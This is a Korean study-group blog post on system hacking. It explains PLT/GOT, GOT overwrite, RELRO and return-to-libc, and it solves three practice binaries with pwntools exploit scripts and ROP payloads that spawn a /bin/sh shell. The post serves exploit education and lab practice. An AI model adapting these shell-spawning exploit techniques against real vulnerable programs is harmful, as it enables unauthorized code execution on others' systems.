estherseo
JINIWAY
estherseo
์ „์ฒด ๋ฐฉ๋ฌธ์ž
์˜ค๋Š˜
์–ด์ œ
  • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ
    • ์ „๊ณต๊ณต๋ถ€
    • CS
      • Network
      • Algorithm
      • ๐Ÿ“–
      • python
      • django
    • Pentest
      • ๐Ÿ“–
      • HTB
      • Machines
    • Web-hacking
      • ๐Ÿ“–
      • Dreamhack
      • Portswigger
    • System-hacking
      • ๐Ÿ“–
    • Mobile-hacking
    • Project
    • CVE
    • CTF
    • News & Conference
    • ์ž๊ฒฉ์ฆ
    • ์‹ ๊ธฐ์ˆ 
      • AI

๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

  • ํ™ˆ
  • ํƒœ๊ทธ
  • ๋ฐฉ๋ช…๋ก
  • ๋ธ”๋กœ๊ทธ ์†Œ๊ฐœ

์ธ๊ธฐ ๊ธ€

์ตœ๊ทผ ๋Œ“๊ธ€

์ตœ๊ทผ ๊ธ€

ํƒœ๊ทธ

  • Pillow์ทจ์•ฝ์ 
  • asc
  • jwt token last character
  • ํŒจํ‚ท์žก๊ธฐ
  • ๋‹คํฌ์›น ๋ชจ๋‹ˆํ„ฐ๋ง
  • ํ™”์ดํŠธํ–‡ํˆฌ๊ฒŒ๋”
  • 2022 ๋„คํŠธ์›Œํฌ๊ด€๋ฆฌ์‚ฌ
  • ํ™”์ดํŠธํ–‡ํˆฌ๊ฒŒ๋”1๊ธฐ
  • ์…ธ์‡ผํฌ
  • ASC์Šคํ„ฐ๋””
  • ๋‹คํฌ์›น ๋ชจ๋‹ˆํ„ฐ๋ง ์„œ๋น„์Šค
  • ์„ธ๊ณ„์‹ ์•ˆ๋ณดํฌ๋Ÿผ
  • ์‹œ์Šคํ…œํ•ดํ‚น๊ณต๋ถ€
  • HTB shocker
  • ASC ์Šคํ„ฐ๋””
  • HTB valentine
  • integer overflow
  • CTF๊ณต๋ถ€
  • ์ค‘์†Œ๊ธฐ์—… ์ •๋ณด๋ณดํ˜ธ
  • ๊ธฐ์‚ฌ์š”์•ฝ
  • n00bCTF
  • ๋„คํŠธ์›Œํฌ๊ด€๋ฆฌ์‚ฌ ์‹ค๊ธฐ ํ•ฉ๊ฒฉ
  • python eval
  • 2022 pox
  • shocker
  • ํ™”์ดํŠธํ–‡ํˆฌ๊ฒŒ๋”1๊ธฐ ๊ฒฐ๊ณผ๊ณต์œ ํšŒ
  • ์‹œ์Šคํ…œํ•ดํ‚น ์Šคํ„ฐ๋””
  • CVE-2022-22817
  • ์Šคํƒ์นด๋‚˜๋ฆฌ
  • pox2022
hELLO ยท Designed By ์ •์ƒ์šฐ.
estherseo

JINIWAY

[ASC ์Šคํ„ฐ๋””] 9์ฃผ์ฐจ - Return to Library(RTL)
System-hacking/๐Ÿ“–

[ASC ์Šคํ„ฐ๋””] 9์ฃผ์ฐจ - Return to Library(RTL)

2022. 8. 25. 02:00

๐Ÿ‘‰ ์ง€๋‚œ ์ฐจ์‹œ

2022.08.19 - [System-hacking/๐Ÿ“–] - [ASC ์Šคํ„ฐ๋””] 8์ฃผ์ฐจ - Stack Canary + Out Of Boundary

 

1. Return To Libc ( RTL )

์‚ด์ง ์–ด๋ ค์šธ ์ˆ˜ ์žˆ๋‹ค !

1.1. ํ•จ์ˆ˜ํ˜ธ์ถœ ๊ทœ์•ฝ( Calling Convention )

: ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฐฉ์‹์— ๋Œ€ํ•œ ์•ฝ์†

ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ทœ์•ฝ์€ ์ธ์ž ์ „๋‹ฌ ๋ฐฉ๋ฒ•, ์ธ์ž ์ „๋‹ฌ ์ˆœ์„œ, Stack Frame์„ ์ •๋ฆฌํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋”ฐ๋ผ ๊ทธ ์ข…๋ฅ˜๋ฅผ ๊ตฌ๋ถ„ํ•œ๋‹ค.

 

ํ•จ์ˆ˜ํ˜ธ์ถœ๊ทœ์•ฝ ์ฐธ๊ณ  > 

 

ํ•จ์ˆ˜ํ˜ธ์ถœ๊ทœ์•ฝ

1. ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ทœ์•ฝ ๊ฐœ์š” ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ทœ์•ฝ(Calling Convention)์ด๋ž€, ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฐฉ์‹์— ๋Œ€ํ•œ ์•ฝ์†์ด๋‹ค. ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ทœ์•ฝ์€ ์ธ์ž ์ „๋‹ฌ ๋ฐฉ๋ฒ•, ์ธ์ž ์ „๋‹ฌ ์ˆœ์„œ, Stack Frame์„ ์ •๋ฆฌํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋”ฐ๋ผ ๊ทธ ์ข…

blog.kimtae.xyz

 

- 32bit : cdecl, stdcall, fastcall

  cdecl

  ํ•จ์ˆ˜ ํ˜ธ์ถœ์šฉ์œผ๋กœ ์Šคํƒ์— ์Œ“์€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ˜ธ์ถœํ•œ ํ•จ์ˆ˜(Caller)์—์„œ ์ •๋ฆฌํ•˜๋Š” ๊ทœ์•ฝ์ด๋‹ค.

 

- 64bit : fastcall

  fastcall

  ํ•จ์ˆ˜์— ์ „๋‹ฌํ•˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ „๋‹ฌํ•œ๋‹ค. ( ๋” ๋น ๋ฅด๊ฒŒ ํ˜ธ์ถœ ๊ฐ€๋Šฅ )

  64bit ๋ฆฌ๋ˆ…์Šค ์‹œ์Šคํ…œ์—์„œ ์ •์ˆ˜๋Š” RDI, RSI, RDX, RCX, R8, R9. ์‹ค์ˆ˜๋Š” XMMO~XMM7 ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์‚ฌ์šฉ.

 

1.2. Static Linking vs Dynamic Linking

์†Œ์Šค์ฝ”๋“œ ์ปดํŒŒ์ผ  =>  ์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ ์ƒ์„ฑ  =>  ๋งํ‚น

 

  • Static Linking
    • ๋ชจ๋“  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํฌํ•จ
    • ๋”ฐ๋กœ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ด€๋ฆฌํ•  ํ•„์š”๊ฐ€ ์—†์Œ
    • ํŒŒ์ผ ํฌ๊ธฐ๊ฐ€ ์—„์ฒญ ์ปค์ง
  • Dynamic Linking
    • ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ•˜๋‚˜์˜ ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฐ„์— ๋งคํ•‘ํ•ด ์—ฌ๋Ÿฌ ํ”„๋กœ๊ทธ๋žจ์—์„œ ๊ณต์œ ํ•ด์„œ ์‚ฌ์šฉ
    • ํŒŒ์ผ ํฌ๊ธฐ๊ฐ€ ์ž‘๊ณ  ์‹คํ–‰์‹œ ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฐ„์„ ์ ๊ฒŒ ์ฐจ์ง€
    • /lib/x86_64-linux-gnu/libc.so.6

 

 

[ OS ] 13. ๋ฉ”๋ชจ๋ฆฌ ๊ด€๋ฆฌ ์ „๋žต - Static Linking vs Dynamic Linking

Static Linking vs Dynamic Linking ๋จผ์ € Linking (๋งํ‚น)์— ๋Œ€ํ•ด ์ดํ•ด๋ฅผ ํ•ด๋ณด์ž ๋งํ‚น์€, ํ”„๋กœ๊ทธ๋žจ์„ ๋นŒ๋“œํ•˜๋Š” ๊ณผ์ • (์ฆ‰ ์ปดํŒŒ์ผ ๊ณผ์ •์—์„œ ๊ฑฐ์น˜๋Š” ๋‹จ๊ณ„) ์ด๋ค„์ง€๋Š” ๊ณผ์ •์ด๋‹ค. ์ด ์ „์ฒด๋ฅผ ํฌ๊ฒŒ ์ปดํŒŒ์ผ ๊ณผ์ •์ด๋ผ๊ณ 

coder-in-war.tistory.com

 

์ปดํŒŒ์ผ์‹œ -static ์˜ต์…˜ ์คŒ
file ๋ช…๋ น์–ด๋กœ๋„ ํ™•์ธ ๊ฐ€๋Šฅ

 

1.3. PLT  vs  GOT

  • PLT(Procedure Linkage Table)
    • ์™ธ๋ถ€ ํ”„๋กœ์‹œ์ €๋ฅผ ์—ฐ๊ฒฐํ•ด์ฃผ๋Š” ํ…Œ์ด๋ธ”
    • PLT๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์žˆ๋Š” ํ”„๋กœ์‹œ์ €๋ฅผ ํ˜ธ์ถœํ•ด ์‚ฌ์šฉ
    • ์ฆ‰ ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์—ฐ๊ฒฐํ•ด์ฃผ๋Š” ์—ญํ• 
    • ์ฒ˜์Œ ํ˜ธ์ถœ์ด๋ผ๋ฉด '_dl_runtime_resolve' ํ˜ธ์ถœ
    • ์ฒ˜์Œ ํ˜ธ์ถœ์ด๋ผ GOT์˜์—ญ์— ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‹ค์ œ ์ฃผ์†Œ๊ฐ€ ์จ์žˆ์ง€ ์•Š๋‹ค
  • GOT(Global Offset Table)
    • PLT๊ฐ€ ์ฐธ์กฐํ•˜๋Š” ํ…Œ์ด๋ธ”
    • ํ”„๋กœ์‹œ์ €์˜ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด์žˆ๋‹ค.
    • GOT์—๋Š” ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•œ๋‹ค.

( ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜ ์ฒ˜์Œ ํ˜ธ์ถœ )

1. PLT ์ฐธ์กฐ

2. PLT = &got

3. _dl_runtime_resolve ํ•จ์ˆ˜ ์‹คํ–‰

 

( ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜ ๋‘๋ฒˆ์งธ ์ดํ›„ ํ˜ธ์ถœ )

1. PLT ์ฐธ์กฐ

2. PLT = &got

3. GOT = &Library Function Address

4. ํ•จ์ˆ˜ ์‹คํ–‰

 

1.4. GOT Overwrite

: Dynamic Link ๋ฐฉ์‹์œผ๋กœ ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” PLT&GOT๋ฅผ ์ด์šฉํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•

( PLT Overwrite๋„ ์žˆ๋‚˜์š”?  ==>  PLT๋Š” ์ฝ”๋“œ ์˜์—ญ์œผ๋กœ Read Only๋ผ Overwrite๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. )

 

(์›๋ฆฌ)

PLT๋Š” GOT๋ฅผ ์ฐธ์กฐํ•˜๊ณ , GOT์—๋Š” ํ•จ์ˆ˜์˜ ์‹ค์ œ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด์žˆ๋‹ค.

์ด GOT์˜ ๊ฐ’์„ ์›ํ•˜๋Š” ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ณ€์กฐ์‹œํ‚จ๋‹ค๋ฉด, ์›๋ž˜์˜ ํ•จ์ˆ˜๊ฐ€ ์•„๋‹Œ ๋ณ€์กฐํ•œ ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋œ๋‹ค.

printf("ls -al");
printf@got -> system(); ๋ณ€์กฐ
system("ls -al");

 

๋ฌธ์ œ ํ’€์ด1 : got_overwrite

๋ฌธ์ œ
IDA

printf -> read -> printf -> scanf -> printf ํ˜ธ์ถœ

๋งˆ์ง€๋ง‰ printf ํ•จ์ˆ˜์—์„œ printf("/bin/sh")์„ ํ•˜๊ณ  ์žˆ์œผ๋ฏ€๋กœ, 

printf ํ•จ์ˆ˜์˜ got๋ฅผ systemํ•จ์ˆ˜์˜ got ์ฃผ์†Œ๋กœ overwriteํ•˜๋ฉด ๋˜๊ฒ ๋‹ค.

 

์ฃผ์˜ํ•ด์•ผํ• ์  : scanf("%ld") ํ˜•์‹ ๋งž์ถฐ์„œ intํ˜•์œผ๋กœ send ํ•ด์•ผ๋œ๋‹ค.

 

์ต์Šคํ”Œ๋กœ์ž‡

1. printf ํ•จ์ˆ˜์˜ got ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ธ๋‹ค.

0x601028

2. system ํ•จ์ˆ˜์˜ got ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ธ๋‹ค.

0x7ffff7e15290

3. printf ํ•จ์ˆ˜์˜ got ์ฃผ์†Œ๋ฅผ system ํ•จ์ˆ˜์˜ got ์ฃผ์†Œ๋กœ ๋ฎ๋Š”๋‹ค.

from pwn import *

context.log_level = 'debug'

e = ELF('./got_overwrite')
p = process('./got_overwrite')

printf_plt = e.plt['printf']
printf_got = e.got['printf']

p.sendlineafter(b'Address : ', p64(printf_got))
p.recvuntil(b'Value : ')

pause()
system_addr = int(e.symbols["system"])
print(system_addr)


p.sendline(str(system_addr))

p.interactive()

 

1.5. RELRO (RELocation Read-Only)

"GOT Overwrite ๊ณต๊ฒฉ์— ๋Œ€๋น„ํ•˜์—ฌ ELF ๋ฐ”์ด๋„ˆ๋ฆฌ ๋˜๋Š” ํ”„๋กœ์„ธ์Šค์˜ ๋ฐ์ดํ„ฐ ์„น์…˜์„ ๋ณดํ˜ธํ•˜๋Š” ๊ธฐ์ˆ "

๋ฉ”๋ชจ๋ฆฌ ํŠน์ • ์˜์—ญ์„ ๋ฎ์–ด ์“ธ ์ˆ˜ ์—†๋„๋ก ํ•œ๋‹ค.

 

PARTIAL-RELRO : ctors, dtors, dynamic Section Read-Only

FULL-RELRO : got Section Read-Only ( GOT Overwrite ๋ชป ํ•จ )

 

์ปดํŒŒ์ผ ์˜ต์…˜

-z norelro (NO-RELRO)
-z relro (PARTIAL-RELRO)
-z relro -z now (FULL-RELRO)

 

FULL-RELRO์ผ ๋•Œ readonly

 

1.6. RTL (Return To Libc)

"๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋‚ด์— ์กด์žฌํ•˜๋Š” ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ฐ”๊ฟ” NX bit๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•"

 

NX bit๋Š” Stack, Heap ๋“ฑ์˜ ์˜์—ญ์— ์‹คํ–‰๊ถŒํ•œ์„ ์ฃผ์ง€ ์•Š๋Š” ๊ฒƒ์ด๋‹ค.

์ด์ œ ์ด์ „์ฒ˜๋Ÿผ ์‰˜์ฝ”๋“œ๋ฅผ ์˜ฌ๋ ค์„œ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๋‹ค.

=> ๋ฉ”๋ชจ๋ฆฌ์— ๋ฏธ๋ฆฌ ์ ์žฌ๋˜์–ด ์žˆ๋Š” ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ด์šฉํ•˜์ž.

 

๋ฌธ์ œ ํ’€์ด2 : rtl32_1

  • ์ต์Šคํ”Œ๋กœ์ž‡
payload = 'A'*sizeof(BUF)
payload += 'B'*4 # SFP (Stack Frame Pointer)
payload += p32(system) # RET
payload += 'C'*4 # dummy <- system ret
payload += p32(*/bin/sh)

system๊ณผ /bin/sh ์‚ฌ์ด์— dummy๋ฅผ ๋„ฃ๋Š” ์ด์œ ๋Š” dummy 4๋ฐ”์ดํŠธ ์œ„์น˜๊ฐ€ systemํ•จ์ˆ˜์˜ ๋ฆฌํ„ด๊ฐ’์ด๋‹ค.

system@plt๊ฐ€ ํ˜ธ์ถœ๋˜๊ณ  ๋ฆฌํ„ด๋˜๋Š” ๊ณณ $eip = 0x43434343 (CCCC)

 

๋ฌธ์ œ ํ’€์ด3 : rtl64_1

  • 64bit ํ•จ์ˆ˜ ํ˜ธ์ถœ ๊ทœ์•ฝ

- ํ•จ์ˆ˜์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „๋‹ฌํ•  ๋•Œ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ด์šฉ

- RDI, RSI, RDX, RCX ์ˆœ์œผ๋กœ ๋“ค์–ด๊ฐ

- ex) read(0, buf, sizeof(buf))

- $RDI=0, $RSI=&buf, $RDX=sizeof(buf)

 

  • Gadget

์ฝ”๋“œ ์กฐ๊ฐ๋“ค์„ ์˜๋ฏธํ•œ๋‹ค.

ex) pop ret; jmp eax;

๋ฆฌํ„ด ์–ด๋“œ๋ ˆ์Šค๋ฅผ ๋ฐ”๊ฟ”๋ฒ„๋ฆด ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ฝ”๋“œ ์กฐ๊ฐ์„ ๋„ฃ์–ด์„œ ์ฒด์ด๋‹ ํ•œ๋‹ค.

 

  • Gadget ์ฐพ๋Š” ๋ฐฉ๋ฒ•
    • ROPgadget์„ค์น˜
      • GitHub - JonathanSalwan/ROPgadget:
    •  $ROPgadget --binary [filename] | grep "pop rdi; ret"

๊ฐ€์ ฏ๋“ค

 

  • ์ต์Šคํ”Œ๋กœ์ž‡

( IDA ๋ถ„์„ )

shift + f12 : ํŒŒ์ผ ๋‚ด์— ์žˆ๋Š” ๋ฌธ์ž์—ด ํ™•์ธ
something()ํ•จ์ˆ˜์—์„œ system("echo hi~") ์ˆ˜ํ–‰

( ์ต์Šคํ”Œ๋กœ์ž‡ ๊ฐœ์š” )

1. mainํ•จ์ˆ˜์—์„œ Buffer Overflow ๋ฐœ์ƒ

2. something()ํ•จ์ˆ˜์—์„œ system("echo hi~") ์ˆ˜ํ–‰

3. system@plt, &"/bin/sh", &pop rdi; ret; ๊ฐ€์ ฏ์„ ์ด์šฉํ•ด ์ต์Šคํ”Œ๋กœ์ž‡

 

system@plt
/bin/sh ์ŠคํŠธ๋ง ๊ฒ€์ƒ‰์„ ํ†ตํ•ด ์ฃผ์†Œ ์•Œ์•„๋‚ด๊ธฐ
pop rdi; ret

 

from pwn import *

e = ELF('./rtl64_1')
p = process('./rtl64_1')

prdi = 0x0000000000400773 # pop rdi ; ret
binsh = 0x0000000000400794 # /bin/sh string

pay = b'A'*0x30 # ๋ฒ„ํผ ์ฑ„์šฐ๊ธฐ
pay += b'B'*8 # sfp
pay += p64(prdi) # ret
pay += p64(binsh)
pay += p64(0x4006c2) #  0x00000000004006C2

pause()
p.sendafter(b'Input > ', pay)

p.interactive()

 

 

โญ๊ณต๋ถ€ํ•  ๊ฒƒ๋“ค

1. RTL๋ฌธ์ œํ’€์ด ์ฐธ๊ณ ,  Exploit Tech: Return to Library | Dreamhack

2. Gadget

 

 

 


ASC ์‹œ์Šคํ…œํ•ดํ‚น ์Šคํ„ฐ๋””

 

'System-hacking > ๐Ÿ“–' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[ASC ์Šคํ„ฐ๋””] 8์ฃผ์ฐจ - Stack Canary + Out Of Boundary  (0) 2022.08.19
[ASC ์Šคํ„ฐ๋””] 7์ฃผ์ฐจ - Stack Buffer Overflow ๋ฌธ์ œ ํ’€์ด, Integer Overflow  (0) 2022.07.30
[ASC ์Šคํ„ฐ๋””] 6์ฃผ์ฐจ - ํ•จ์ˆ˜์˜ ์Šคํƒ ํ”„๋ ˆ์ž„, ๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ๊ธฐ๋ฒ•, Stack Buffer Overflow  (0) 2022.07.23
[ASC ์Šคํ„ฐ๋””] 5์ฃผ์ฐจ - ์—ฐ์Šต๋ฌธ์ œ ํ’€์ด, GDB, IDA, Pwntools ์‚ฌ์šฉ๋ฒ•  (0) 2022.07.07
[ASC ์Šคํ„ฐ๋””] 4์ฃผ์ฐจ - ๋ ˆ์ง€์Šคํ„ฐ, ์–ด์…ˆ๋ธ”๋ฆฌ, ์—ฐ์Šต๋ฌธ์ œ, GDB ์‚ฌ์šฉ๋ฒ•  (0) 2022.06.27
    'System-hacking/๐Ÿ“–' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
    • [ASC ์Šคํ„ฐ๋””] 8์ฃผ์ฐจ - Stack Canary + Out Of Boundary
    • [ASC ์Šคํ„ฐ๋””] 7์ฃผ์ฐจ - Stack Buffer Overflow ๋ฌธ์ œ ํ’€์ด, Integer Overflow
    • [ASC ์Šคํ„ฐ๋””] 6์ฃผ์ฐจ - ํ•จ์ˆ˜์˜ ์Šคํƒ ํ”„๋ ˆ์ž„, ๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ๊ธฐ๋ฒ•, Stack Buffer Overflow
    • [ASC ์Šคํ„ฐ๋””] 5์ฃผ์ฐจ - ์—ฐ์Šต๋ฌธ์ œ ํ’€์ด, GDB, IDA, Pwntools ์‚ฌ์šฉ๋ฒ•
    estherseo
    estherseo
    ์•ˆ๋…•ํ•˜์„ธ์š”๐Ÿ˜€

    ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”